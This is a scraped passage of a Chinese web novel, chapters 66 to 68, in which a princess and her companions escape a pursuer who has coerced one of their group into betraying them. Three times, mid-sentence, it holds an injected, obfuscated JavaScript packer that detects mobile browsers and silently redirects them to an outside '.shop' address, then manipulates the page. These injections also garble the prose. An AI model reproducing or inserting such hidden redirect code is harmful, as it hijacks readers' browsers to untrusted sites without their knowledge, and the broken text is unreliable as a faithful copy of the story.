杜伽茹只觉得大家都在欺负她,气得双唇颤抖,身子也在不住哆嗦,一句话也说不出来,只“呼哧呼哧”喘着粗气,恶狠狠盯着余晚飞看。 看了一会儿,也没人来安慰她,杜伽茹终于是忍不住,跺了跺脚,转身气哼哼地跑走了。 她的背影一会儿就消失在小巷尽头。余晚飞倒是有些担忧,看向永嘉宗姬,试着提议:“她一个小娘子,独自流浪太不安全了,不然我去追她回来?” 永嘉宗姬终于放下了环抱的手臂。她气定神闲地整整衣服,好像什么事都没有发生过:“是她自己要走的,还管她做什么?走,我们再去道观附近逛逛,说不定就能遇到纯懿他们了。” 纯懿和陆双昂不敢经常抛头露面,余晚飞和永嘉却是比他们要自由一些,就经常在道观附近闲逛。逛着逛着,眼看着第二个十日之期快要到了,余晚飞和永嘉不由都提起了十二分的注意,生怕再次与纯懿他们错过。 他们时间紧迫,已经在喀末城逗留了二十日,可没有下一个二十日给他们等待了。 第二十日的一大早,余晚飞和永嘉就早早起身,准备前往道观等待。可却没想到,刚一出门,却撞上了一个人。 永嘉看着面前更脏更黑了几分的人,露出个奇怪的笑:“杜小娘子。” 只与他们分开几日,杜伽茹看着却狼狈了不少,比与他们在一起时更像乞丐了。她的头发都打成了结,衣服也不知道在哪里蹭的,这里撕一条儿,那里破一块儿,露出的黑黝黝的皮肤上甚至还带着些干涸的血痕,神情也是惊恐不定,甚至像是刚从监牢里逃出的囚犯。 余晚飞不愿与她说话,别过眼去不看她。永嘉却不肯放过这个机会,嘲讽道:“现在可别说我们带着你东藏西躲了,至少我们没把你弄成这样不是?” 依杜伽茹的心高气傲,永嘉这么挖苦她,她早就要再跑走了。可这次,她却不敢。 那双黝黑的眸子似乎还像毒蛇一般牢牢盯着她,耳边还回荡着那道阴冷残忍的声音:“变成尸块留在这里,或者做我的下线活着回去。你自己选。” 她也试图说服他:“他们是青梅竹马,真的很相爱。你苦苦纠缠不放,你们三人都很痛苦,不如放手……” “放手?”那人薄唇勾起的弧度和脸上嗜血的杀意,比杜伽茹见过的最恐怖的修罗还要令人胆寒,“都杀了,都死了,自然也就放手了。” 杜伽茹不自觉又打了个哆嗦。她甚至都不用伪装,神情就已经足够惊恐和可怜:“我错了,宗姬,是我的错,离开了你们,外面太可怕了,我一个人不行的。我再也不抱怨了,也再也不胡乱说话了,你们让我做什么,我就做什么,只求你们不要赶我走,让我和你们在一起,和纯懿帝姬在一起,可以吗?” 她腿一软就跪在地上,膝行两步抱住永嘉的腿,终于忍不住大哭出声:“求求你们了!离开你们,我会死的,我真的会死的……求你们留下我……” 永嘉也不过是不忿她对纯懿的态度,现在看她这幅被吓破了胆的凄惨样子,不知道一个人受了什么苦,也有些于心不忍。她冷着脸问:“真的知道错了?” 杜伽茹拼命点头,眼泪鼻涕一起流:“知道了,永嘉宗姬,我知道错了的。求您不要赶我走呜呜……” 最后,杜伽茹还是与永嘉和余晚飞一起出了门。她低头垂目跟在最后面,两个眼睛却不住朝周围偷瞟,待发现他们果然是朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189078|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着道观的方向走,心下不由一松,可很快却又提了起来。 不知道纯懿帝姬今日……会不会来道观与他们汇合,又会不会发现…… 随着余晚飞和永嘉踏入一间偏僻的厢房,杜伽茹朝着外面投去最后一眼,这才神情怪异地关上了门。 纯懿和陆双昂也正在前往道观的路上。 出门时,纯懿本来对于今日能与余晚飞他们汇合很有信心,可不知怎么的,越靠近道观,越是有一种说不出来的怪异之感涌上心头,让她心慌不已。 似乎是有什么重要的地方被她忽视了似的。 纯懿不由蹙起眉头,步子也慢了下来。 陆双昂敏锐察觉到了纯懿的不对。他回身,温暖的大手搀上纯懿的手臂,驱散了些她身上的冰寒。他的声音也是一如既往的温和,关心地看着纯懿的面色,低声问:“怎么了?哪里不舒服吗?” 纯懿急忙驱散脑中乱七八糟的想法,迎着陆双昂温和的目光轻轻摇头,主动伸手挽上他的小臂:“没有,应该是我想多了。今日与他们汇合以后,我们需要立刻离开喀末城,继续向南前行。时间紧张,咱们赶快走吧。” 另一边,眼看着日头渐渐升高,余晚飞、永嘉和杜伽茹三人在道观里等得心焦不已,尤其是杜伽茹,出去一趟,她似乎被吓破了胆子,外面稍微传来一点响动,她就满脸惊恐地站起身来,一副想要立刻逃命的架势,惹得永嘉和余晚飞频频侧目。 就在杜伽茹再一次一个激灵蹦起来的时候,永嘉终于忍不住了。她皱着眉站起身来,走向浑身打着摆子的杜伽茹,正想开口问她怕什么,门口却忽然传来一阵轻巧的脚步声,似乎是徘徊了一会儿,然后在他们门外停住了。 永嘉的步子猛然顿住。余晚飞也站起身来,屋内三人都扭头看向门口,神情也都严肃警惕起来。 门扉被敲响了。连得很急促的“笃、笃”两声,然后是短暂的沉默,接着,又传来第三声短促的“笃”。 余晚飞和永嘉对视一眼,神情顿时一松,面上立刻就转而带上了欣喜。 一短一长再加一短,是他们与纯懿分别时,商定好的暗号。 纯懿来了!她终于来与他们汇合了! 余晚飞立刻上前一步,拉开房门。屋外的阳光倾洒而入,照得余晚飞和永嘉都是眼眸晶亮,也照得杜伽茹苍白的面色上带了些不自然的红。 他们一起朝外望去。 永嘉“咦”了一声。 一个小小的身影正站在外面,对着他们歪着头笑。看到屋里的人开了门,穿着打满补丁的粗布衣裳的小男孩欢乐地蹦了起来,然后凑近站得最靠前的余晚飞,腻在他身上,对着他咬耳朵:“这里已经暴露了,你们赶快离开。” 他对着余晚飞挤眼睛,悄声补充:“一个漂亮姐姐让我告诉你们的。她还说,让你们顺着箭头走,她在尽头等着你们。” 66. 第 66 章 余晚飞和永嘉对视一眼,两人刹那间惊出一身冷汗。 永嘉当机立断:“走。” 余晚飞点头,回身动作利索收拾了东西,背在背上就要出发。 杜伽茹心虚,所以不敢上前开门,自己一个人躲得远远的,也就没听到那小男孩说了什么。见余晚飞和永嘉两人看着风风火火要离开的样子,想到现在一定在哪里盯着她的人,不由急道:“怎么走了?纯懿帝姬还没来……” 永嘉冷冷道:“别废话,走。” 杜伽茹踉踉跄跄跟上两人的脚步,不知是不是她的错觉,总觉得四面八方都有灼灼视线锁定着她,让她的腿脚都是发软的。 看着前面两个急匆匆的背影,杜伽茹咬了咬唇,在横眉冷目的永嘉和阴狠残暴的男人之间,觉得还是那个男人更可怕一些。 她追了几步,扯着永嘉的袖子,期期艾艾地开口:“我……我肚子疼,想去趟恭房。你们等我一下好不好?就一下下就可以。” 永嘉真是烦死她了,可想到在洗衣院的时候,她也算是安分乖巧,甚至还帮了纯懿和自己许多,只好压抑了怒火:“你快点儿,我们在前面的院门那里等你。” 杜伽茹急忙点头,捂着肚子小跑着离开了,却没有去恭房,而是在道观里四处乱转。她其实并不知道要到哪里去找那个男人,但她坚信,那男人一定派人盯着她,现在纯懿没有如约前来,他一定会现身问个清楚的。 果然,没绕一会儿,一个身材魁梧的汉子就出现在她面前。没等杜伽茹说话,那汉子就将她像抓小鸡一样夹在腋窝下,带着她飞速闪进一座独门独户的小院子。 屋里正中的主位上坐着一个男人。他仍穿着一身黑衣,宽大的衣袖裤管都被牢牢绑缚在手腕脚腕处,显得他更加强势精干。他额上系着一根额带,上面拴着的青铜额饰花纹粗犷,映着手中雪亮的刀刃,闪着冰寒的光。 听到有人进来的声音,他抬起幽深的黑眸,脸上没有一点儿表情,神情却异常冷峻:“怎么回事?” 杜伽茹双唇哆嗦,说出的话都是颤抖的:“她……她没来,应该是不来了,我看永嘉和那个小乞丐好像是要走了,刚才有一个小男孩……” 杜伽茹语气急促,将一切事无巨细地说个清楚明白,生怕有哪里忘了说,被这男人以为是她有意隐瞒。 可男人却没有这么好的耐心。他不耐地打断杜伽茹的絮絮叨叨:“爷没那么多时间听你说废话。你说她今日会来道观与你们汇合,我只问你,她在哪里?” 杜伽茹噎住了。她吞吞吐吐的:“我……我不知道……本来说是要来的,但是她没来,我也不知道她在哪里……” 男人抚在刀上的拇指一个使劲,大刀就从刀鞘中弹出,发出“铮”的一声,让杜伽茹立刻腿软跪倒在地上。 她一边大声求饶,一边努力寻找着自己的用处:“郎主,宗隐郎主,我这次来找您,就是专门来给您报信的。我们总要与她们汇合的,您放我回去,我给您留记号,我告诉您我们走到哪里。还有……还有……等纯懿帝姬一出现,我就立刻告诉您,我帮您拖着她,让她不能再逃跑……宗隐郎主,求您了,我可以帮您的!” 瞟了一眼趴在地上苦苦哀求的女人,延陵宗隐嫌恶地转开眼,不由就想到那个不知身在何处的女人来。 她总是脊背挺得笔直,就是在再危急的情况下,她也不愿意弯下她的膝盖,用哀求来试图获得一线生机。他无数次试图逼迫她低头,她却只会用那双水盈盈的眸子沉静地盯着他,满脸都是淡然,似乎是将生死全都置之度外,任他再如何逼迫,也绝不肯向他弯下大庆帝姬的脊骨。 甚至他稍一放松,被她逮到了机会,她还会像小母狼一样扑上来,试图撕咬下他的一块肉,试图从他的桎梏中逃离。她身上的那种韧劲儿,就连延陵宗隐也不得不说一句佩服。 两厢对比,延陵宗隐更觉眼前哭哭啼啼的女人无比厌烦,也就分外想念起那个女人来。 她留给他的伤口还在疼痛,她怎么能离开呢? 他绝不会放她离开。 延陵宗隐冷笑一声:“要不是怕打草惊蛇,你以为你还能活到现在?早在我发现你们的时候,就砍了你们了。” 他示意站在一旁的黑塔将杜伽茹拖出去,声音冰冷:“好好做你的事。你若是敢玩什么花样……” 延陵宗隐却没继续说下去。她已经被他吓破了胆,她不敢的。 杜伽茹眼睛红红地回来,只说是肚子疼得受不了,却也不敢提议说歇一歇。永嘉和余晚飞自然也顾不上这位娇小姐,纯懿来示警,想来她是发现了什么,他们得马上离开才行。 余晚飞仔细在路上寻找着那小男孩所说的“箭头”,果然,刚出了道观大门,就看到一旁的树下,用发了新芽的枝条摆了一个箭头的样子,直指向东北城门处。 余晚飞便带着永嘉和杜伽茹朝着城门处而行,路过那标示着方向的枝条时,他装作无意地伸脚一踢,那个箭头就失了形状,变成一堆真正的无用断枝。 出了喀末城门,一路走来,每隔一段距离,就会有一个箭头。有时是石子儿摆的,有时是布条上的一个结,有时干脆是直接划在地面上,方向也是变来变去,朝着南边走一会儿,忽然又朝着西北折返,再走没一段儿路,箭头又转而让他们向着东南方前进。 这么绕来绕去的,余晚飞和永嘉都是满脑子疑惑,只恨不得赶快见到纯懿,问问她到底是什么意思。 纯懿却并不在前面的某一个地方等着他们。她其实一直在他们不远处,只比他们快上一点儿,看着他们沿着箭头跟了上来,再赶快向前走上一段儿距离,留下最新的标示。 她刚刚留下最新的一个记号,陆双昂就从后面追了过来。他的脸色异常严肃,握住纯懿的双手,眉头皱的极紧,沉声开口:“他们已经被发现了,有人在跟着他们。” 最坏的猜测被证实,纯懿很是有些懊恼:“我就猜会是这样!延陵宗隐曾经在道观见过我,以他的谨慎性子,一定会派人继续监视那里的,余晚飞他们过去等我们,自然会被他发现。我真是笨,怎么刚刚才想到这个问题!” 陆双昂虽然心情沉重,可看着纯懿紧皱的眉头,还是努力压抑了心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203188|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恼怒,柔声安慰她:“琅琅,你已经很聪明了。如果不是你想到这种可能,现在我们几个可能都已经落进延陵宗隐手中了。至少目前,余晚飞他们还算自由,只要想办法甩开那些盯梢的人,我们就可以继续前进了。” 纯懿依旧是愁眉苦脸的:“怎么能甩开他们呢?延陵宗隐这次带来的都是他的精锐部曲,很难上当的。” “没关系的琅琅,”陆双昂揉揉她的发顶,微笑着牵起她的手,“我有办法。” 陆双昂果然是能做才会说。他趁着余晚飞他们还在带着延陵宗隐的人兜圈子时,带着纯懿紧赶几步,来到了一片茂密的树丛中。一圈儿树木高大挺拔,最中间是一片荆棘丛,春日来到,荆棘丛也渐渐从冬日的萎靡中振作起来,萌出新的尖刺。 陆双昂用剑劈砍一阵儿,很快就做了一个简单的迷阵出来。他紧紧握着纯懿的手,耐心地带着她一遍又一遍走过这迷阵的正确路线,直到确认纯懿已经牢牢将这条路线铭记于心,这才放开她的手。 “琅琅,这里就是阵眼。一会儿余晚飞他们会直接走进来,你在这里等他们。”他仔细看着纯懿的神情,柔声叮嘱,“你们碰面以后,待延陵宗隐的人也进入这迷阵,我就会关闭阵法。那个时候,我会给你一个红色的烟花信号。” 陆双昂将一个小巧的烟筒展示给纯懿,又接着道:“看到这个信号,你就带着余晚飞他们,按照刚刚那条路线走出阵法。我会在虞娄人身后,扰乱他们的视线,让他们无法继续跟着你们。我说清楚了吗?” 他说的很清楚。纯懿点头,有些担心地拉住陆双昂的手:“可是昂哥哥,我们出去了,那你呢?” “等你们离开,我会自行脱身去追你们。放心,有你在前面等我,我不会恋战的。”陆双昂知道纯懿未说出口的担忧。他笑着反握住纯懿的双手,将那个烟筒塞进纯懿手里:“如果你这边遇到任何危险,就发射这个信号给我,我会立刻赶来接应。所以琅琅,不要怕,看不到我的时候,你也不要怕。我一直都在你身边。” 纯懿拼命点头。她漂亮的眸中隐隐带上了水光,脸上却露出一个大大的笑容:“昂哥哥,我不是那个只能藏在你的身后,等着你保护的小女孩了。能与你一起做些事情,我不怕。你放心,不用担心我。” 陆双昂盯着眼神坚定的纯懿,目光满是缠绵眷恋。不管纯懿怎么说,他总是不放心她的,可时间不等人,估计余晚飞他们已经快要到了,陆双昂将纯懿猛地揽入怀中,重重环抱着她。 纯懿也用力回抱他。 两人沉默地拥抱,都没有再开口说一句话,也不必再开口说一句话。 只短暂相拥片刻,纯懿和陆双昂就安静放开彼此。两人对视一眼,陆双昂决绝转身,几个飞跃,身影就消失在荆棘丛外。纯懿脚步坚定,一步一步走到阵眼最中,孤身立在荆棘环绕之中,耳边只能听到风吹过树叶发出的沙沙声。 延陵宗隐,这是我们第一次处在平等位置的交手。 没有伪装,没有欺瞒,只有虞娄郎主和大庆帝姬。 这一次,你不会再赢得那么轻松了。 67. 第 67 章 陆双昂的估算果真准确,纯懿没等一会儿,余晚飞的身影就越过齐腰高的荆棘丛,出现在纯懿面前。 看到纯懿,余晚飞眼前一亮,小声喊一句“帝姬”,却没有立刻靠近纯懿,而是回过身,伸手去接应身后的人。 紧跟在余晚飞后面的是相互搀扶的永嘉宗姬和杜伽茹。永嘉的脚似乎是受了伤,走起路来一瘸一拐的,全靠着杜伽茹一路支撑,可看到许久不见的纯懿,她似乎是终于松了一口气,颊边露出两个梨涡,一边撑着杜伽茹的肩膀,另一边搭着余晚飞的手臂,艰难绕过荆棘丛,三人一起向着纯懿走来。 纯懿急忙迎上前去,从杜伽茹和余晚飞手中接过永嘉。她很是担心地看了看永嘉被血晕染的的右边裙角,蹙着眉问:“怎么弄成这样?” “我的伤没事儿,”永嘉宗姬将全身重量都倚靠在纯懿身上,拍拍纯懿的肩膀,简单道,“不过延陵宗隐追来了,他的人一直跟的很紧,我们努力想甩开他,但不知道成功了没有。” 原来永嘉他们已经发现被跟踪了。纯懿也就不用再解释前因后果,直接了当道:“对,他应该是在道观发现你们的踪迹的,然后就一直跟在你们后面。” 杜伽茹的脸白了白,永嘉和余晚飞却是对视一眼,点头:“我们也猜是这样。接下来怎么办?” 纯懿正要开口,耳边却忽然传来一阵树枝相互碰撞的沙沙声,似乎有什么沉重的东西正在移动。紧接着,一朵小小的红色烟花窜上天空,带出一阵烟雾。 这是陆双昂的信号。延陵宗隐的人已经靠近这里,阵法开启了。 纯懿立刻将永嘉的胳膊绕上自己的脖颈。她一边架着永嘉朝着熟记于心的路径上走,一边语速飞快地道:“昂哥哥在这里布了一个阵。他在后面拖着延陵宗隐的脚步,咱们得赶快离开这里。” 永嘉和余晚飞马上明白了现在的状况。余晚飞做出一副防守的姿势守在纯懿她们后方,永嘉则努力跟上纯懿的脚步,随着她一起钻入密林之中。 可永嘉受伤的脚总是使不上力气,一瘸一拐的走不快。 永嘉不由皱了眉头,瞥了一眼缀在后面有些呆呆傻傻的杜伽茹一眼,朝她伸出手,没好气地招呼道:“别躲那么远,快来扶我一下,咱们一起走,还能快一些。” 杜伽茹没想到纯懿和陆双昂竟然还搞了个阵法,正在思索这下该怎么给延陵宗隐留下信号,忽然被永嘉这么一招呼,对上其余三人看过来的眼神,她只好应了一声,急忙小跑过去,与纯懿一起搀着永嘉前行。 至于留信号…… 一直跟在纯懿和永嘉眼皮子底下,是不用再想了。 纯懿带着余晚飞三人,按着与陆双昂之前约定好的那样,沿着安全路线一路前行。中间有几次,他们甚至都能听到虞娄男人们怒不可遏的大喊,和刀剑劈砍树木的声音,清晰地仿佛双方只隔着一排树木,转过一个弯就会碰面。 别说余晚飞了,就连永嘉都咬紧了唇,很是担心地看向纯懿,征询地问她:“我们要不要稍等一会儿,避开再走?” 纯懿抬头看看天色。陆双昂在后面扰乱延陵宗隐的视线,实在是太过危险。他们越早离开这里,陆双昂才可以越早脱身。 纯懿捏紧了手里那只小小的烟筒,将有些滑下来的永嘉又朝肩上背了一背,咬牙道:“走。” 四人又走了一会儿,忽然,身后传来一阵异响,声音越来越大,最后竟然称得上是震耳欲聋了。几人不由慢下了奔逃的脚步,回头看去,只见他们刚刚路过的那丛荆棘正在剧烈颤抖,到了最后,连那些小小的新叶和干枯的老刺都被震得“扑簌扑簌”直落,竟然硬生生劈出一个细窄的缝隙来。 黑洞洞的缝隙似乎有引力般,要将周围的一切都吞没。 余晚飞示意纯懿她们离得远一些,自己则蹑手蹑脚地朝着那缝隙靠近,想要去观察一下情况。 就在他刚刚靠近那缝隙,甚至还离着那边有一段距离时,忽然,一只大掌破开荆棘,从那缝隙中伸了过来。那手掌指骨突出,青筋暴起,上面还满沾着不知是谁的鲜血,似乎长了眼睛般一把揪住了余晚飞的衣领,将他整个人拖到了缝隙处,然后一个使劲,就将余晚飞举到了空中。 一道熟悉的声音如轰雷般响起,咬牙切齿地,含着无尽的恼怒和恨意:“想逃到哪里?!” 纯懿和永嘉都顿时白了脸色,杜伽茹却已经惊呼出声,女声尖锐,穿透力极强,延陵宗隐应该是听到了。隔在他们之间的荆棘墙摇晃的更加厉害,余晚飞也像是一片破布一般被悬在空中甩来甩去,不时撞上尖利的荆棘刺,没一会儿就划出了满身满脸的血痕。 那边的延陵宗隐似乎在试图破开荆棘,直冲过来。 杜伽茹早已躲在了永嘉和纯懿身后,抖着身子不敢再看,纯懿和永嘉对视一眼,两人很有默契地同时行动,一左一右扑过去。 纯懿整个身子几乎都吊在延陵宗隐的手腕上,拉住延陵宗隐的大掌,拼了命地一根一根掰开他紧紧锁着余晚飞的手指,永嘉则扶着余晚飞的身体,试图帮助他挣脱延陵宗隐的桎梏。 可这动作却比想象中轻松。似乎是感受到了手腕上传来的熟悉的滑腻感觉,那只紧攥着余晚飞衣领的大手猛然一个翻转,弃余晚飞于不顾,而是死死握住纯懿的手腕。 一只黝黑的眼睛从缝隙那边望来,与纯懿的眸子正正对上。看到纯懿久违的惊慌的脸,那眼睛忽然一弯,看起来是个笑模样,可黑沉的眸中却依旧没有一点笑意,甚至还更加冰冷了几分。 延陵宗隐一字一顿,缓慢却有力地道:“纯、懿、帝、姬。” 纯懿一惊,曾经的噩梦顿时席卷而来。她拼命试图挣脱延陵宗隐的大掌,余晚飞和永嘉都在旁边帮忙掰扯,可他的手却仿佛是石头做的一般,掐着纯懿的手腕,巍然不动。 纯懿咬了牙。她的眸子中透出些浅浅的红色,忽然用自己的手腕牵着延陵宗隐的胳膊,朝着旁边的荆棘上狠狠撞去。 荆棘锋利,刚刚余晚飞只是摩擦了几下就满身伤痕,何况纯懿这般故意使力往上撞。没撞两下,她的手就被荆棘划出几道极深的口子,鲜血开始还是一颗一颗缓慢渗出,到了后来撞得多了,新伤叠着旧伤,鲜红的血液就开始汩汩而出, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212545|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着手腕流下,滴落在潮湿的土地上。 纯懿只是用被延陵宗隐拽着的手腕发狠撞了几下,就受伤如此严重,更别提整条胳膊和半个身子都陷在荆棘丛中的延陵宗隐了。他的伤口比纯懿的还要可怕,密密麻麻遍布整条胳膊,连衣服都破成了一条一条的,被涌出的鲜血黏在伤口上,一层未干又再泡上一层,看着实在是可怕地紧。 延陵宗隐的眉头紧皱着,脸上却没有一点儿疼痛的神情,反而透着些隐约的不忍。 他看着纯懿白皙手腕处翻起的伤口,顺着纯懿的动作扭转胳膊,让自己的手臂先于纯懿的撞上荆棘,将自己的身体垫隔在纯懿与尖刺之间。 可看着纯懿流血不止也依旧继续发狠去撞,没有一点儿想要停下来的意思,似乎是铁了心要与他比较一下,看看是谁先血尽而亡的样子,延陵宗隐不由恨得磨牙。 这个女人,这个看着孱弱温柔的女人,实际上却比谁都狠。 就在这时,他的身后传来一声剑啸,破开他的部曲,直冲着他的后背而来。 只瞬间的迟疑,延陵宗隐放开了纯懿的手。他猛然使力,抽回了自己的胳膊,流血不止的右手握紧大刀,回身迎上袭来的剑芒。 纯懿一得了自由,立刻便后退几步,离那道可怕的缝隙远远的。对面传来了打斗的声音,纯懿知道,是陆双昂袭击了延陵宗隐,这才解救了她。 她不顾自己鲜血淋漓的手臂,拉着永嘉和余晚飞:“走!快走!” 四人一路奔跑,再不敢停留,不知跑了多久,终于出了迷阵。纯懿点燃了陆双昂给她的烟筒,告诉陆双昂他们已经成功离开,没一会儿,陆双昂就出现在他们面前。 经过一翻激战,陆双昂的脸上也添了几道伤口,持剑的右手犹在微微颤抖,满眼都是被深深压抑的担忧。一见到纯懿,他就紧走几步赶上前来,去看纯懿的手腕:“伤口怎么样?” 说着,语气就不由严厉起来:“不是让我放心吗?做什么用这种伤敌一千、自损八百的法子?” 刚刚等待时,永嘉已经帮纯懿包扎了伤口。纯懿自己心虚,知道陆双昂一定会心疼生气,也不反驳,只软软地拖长了语调:“可是那法子有用啊。” 见陆双昂气得又瞪了眼睛,纯懿急忙给他顺气:“我知道错了,以后不会再这样了。真的。” 对着纯懿,陆双昂总是发不出火的。他眉眼低垂,手指轻柔拂过纯懿晚上棉布:“疼吗?” 纯懿急忙摇头。她对着陆双昂笑,双眼弯弯:“不疼的。” 然后又邀功一般补充:“你放心,我可用力了,他一定比我疼多了。” 陆双昂就瞪她。瞪了一会儿,还是泄了气:“他们被困在阵里,可迟早也能出来。我们快走吧。” 几人简单修整一下,便急匆匆继续前行。而在他们身后,一颗小小的珠子落在泥土中,闪着莹润的光。 没过多久,一只大手从土里捻起了这颗珠子。 延陵宗隐黑眸眯起,迎着光看着手中珠子,短促地笑了一声。 他随手将珠子一抛,沉声道:“走这边。” 68. 第 68 章 喀末城一路朝南,纯懿一行人又路过好几个城镇,有大有小,规模不一。可纯懿和陆双昂几人商量之后,决定除了在干粮不足的时候由余晚飞入城采买之外,大家还是不再入城,甚至连官路都不走了,只从山路或是树林中穿过,不再停留,一路南下。 可能是当日真的被陆双昂布下的阵法困住了许久,也可能是他们总是朝人烟罕至的地方钻,延陵宗隐似乎终于是丢了他们的踪迹,没再跟上来。这让纯懿他们都大大松了一口气,在经过吉州而不入,又接连赶路了好几日之后,终于敢稍微放慢些脚步,不再飞奔似的前行,天快黑的时候,也能早些停下来歇息。 这日,又是在深山老林里过夜。 经过几日的锻炼,纯懿她们现在对于野外露宿已经很有经验。陆双昂选择一块儿较为平坦的空地之后,去附近试图找些猎物来吃,余晚飞就去捡寻柴火,顺便取水。剩下的纯懿、永嘉和杜伽茹三人就负责准备干粮,再简单收拾一下今日要睡的“床铺”,努力可以让大家休息地更舒适一些。 杜伽茹四处搜寻着捡干草,走着走着,就有些脱离了队伍,离得众人远了一些。 永嘉皱了眉头。不知道是不是她的错觉,她总觉得杜伽茹最近怪怪的,似乎总是一副心不在焉的样子,还经常跟不上大家的脚步,独立离得老远。 她想跟纯懿说一说这件事,可看纯懿正忙着帮陆双昂换药,想了想,还是将这话吞了回去,只悄悄走到杜伽茹身后,突然出声:“这不就是干草?怎么不捡?想什么呢?” 杜伽茹身子一个哆嗦,回身看到突然出现的永嘉,露出一个难看的笑容:“我……我担心有人追上来……谢谢宗姬提醒。” 杜伽茹急忙弯腰捡起干草,走回空地中间,将那捧干草递给纯懿。永嘉站在已经有些昏暗的林子中,环顾四周,树影斑驳,暗影幢幢,一切都是影影绰绰的,看不太清楚。 不知怎么,她也打了一个哆嗦,只觉得黑暗中有什么东西在盯着他们。 她搓了搓手臂,急忙后退几步,走回纯懿身边,低声道:“这个林子似乎很深,晚上我们还是两个人一组,一起守夜吧。” 纯懿也抬头看了看四周,点头:“好。” 不知是不是因为这林子的确不浅,今日他们的运气倒是不错,陆双昂竟然拖回来了一只体型不小的鹿。几人一起开工,简单处理之后烤了些鹿肉,剩下的就继续烤在火上,估计等明日离开之时,还能烤出一包肉干。 饱餐一顿后,几人聚集在小小的火堆旁,和衣躺下休息。林中夜里又潮又冷,温度很低,纯懿将包袱皮展开,轻轻盖在相对而眠的永嘉和杜伽茹身上,然后又轻手轻脚走回旁边,在陆双昂身边坐下。 陆双昂正俯身朝火里加着树枝,起身时正好接住纯懿,顺势将她搂入怀里:“冷不冷?” “有点儿,”纯懿老实地回,朝着陆双昂的怀里钻了钻,“你冷不冷?” “我不冷。”陆双昂双臂收紧,将纯懿抱得更紧,用自己的体温给她温暖。 纯懿轻轻拍他一下,小声笑:“你真是不会说话。你应该说你很冷,然后我就可以假装要给你温暖,然后就可以紧紧抱着你,占你便宜啦。” 陆双昂低声笑,胸膛一震一震的:“你不必找借口,我非常乐意让你占我便宜。” 小两口正甜甜蜜蜜说着话,忽然,远远传来一声狼的长啸,陆双昂和纯懿两人同时抬头。纯懿是看不明白什么的,只觉得这林子果真很深,四周都是漆黑的,看不到尽头,陆双昂观察了四周一会儿,又仔细侧耳听了听,脸色却严肃起来。 他轻轻将纯懿从自己怀里挖出来,将她朝火堆旁推了推,让她更靠近燃烧的火焰一些:“好像有狼。” 陆双昂起身,拍醒了余晚飞三人。 余晚飞这几日开始跟着陆双昂学武,逃亡路上没有武器给他,他就自己削了一根锋利的木棍当做武器。现在他便手持着那根木棍,双眼大睁,警惕盯着黑暗一片的林子。 三位娘子则靠着火堆坐在一起,心都是砰砰直跳。 纯懿看着满脸谨慎护在她们旁边的陆双昂和余晚飞,不想只是枯坐着等着他们保护,便小心从火堆里抽出几根还燃着火苗的柴火来,做成一个简易的火把,分发给众人。 堪堪将火把递到陆双昂手中,他忽然将纯懿反手揽到身后,软剑已经出鞘,满是威慑地指着前方。而在纯懿刚刚站着的方向,黑暗之中,不知何时出现了一双绿油油的眼睛,正闪着亮光盯着他们。 纯懿低呼一声。可还没等她回过神来,在那双眼睛之后,竟然又出现了许多双眼睛。 黑暗的树林,闪着幽光的眼睛,还有随风而来的一阵阵腥味,都在提醒着她,他们遇到狼群了。 刹那间,纯懿脑中已经飞快闪过曾经在故事里见过的、人与狼群激烈搏斗的场景。她正准备学着故事里的样子,将手里抱着的一块石头丢向狼群来震慑它们时,陆双昂的手忽然包住她的手,阻止了她的动作。 “别轻举妄动。”他一边警惕盯着渐渐显露出身形的狼群,一边护着纯懿缓缓后退,“不要激怒它们。” 纯懿他们人少,陆双昂不想激怒还算平静的狼群,而人多的延陵宗隐就没有如此客气了。他踏着一地血污缓缓踩上这块林中空地,还带着杀意的黑眸一一扫过地上横七竖八躺着的狼尸,最后定格在显然不久之前还有人待过、现在仍在冒出袅袅灰烟的火堆上时,双眼不由眯了一眯。 黑塔扛着仍在滴血的大刀过来,恭敬汇报:“狼已经全砍了,没见着人,也没见着尸体。” “尸体”二字着实刺耳,延陵宗隐的视线冰冷落在黑塔身上,黑塔不由一个哆嗦。他意识到自己说错了话,急忙补救:“我们到的时候,狼群正在分食一头鹿,估计帝姬他们已经平安离开了。” 延陵宗隐脸色稍霁,正要开口,一个正在翻检狼尸兵士忽然“咦”了一声,如临大敌般举了个东西来找延陵宗隐:“郎主,这头狼的肚子里有个这个……” 他指尖一点莹润,在月光下闪着微光,正是他们一路上追踪的记号。 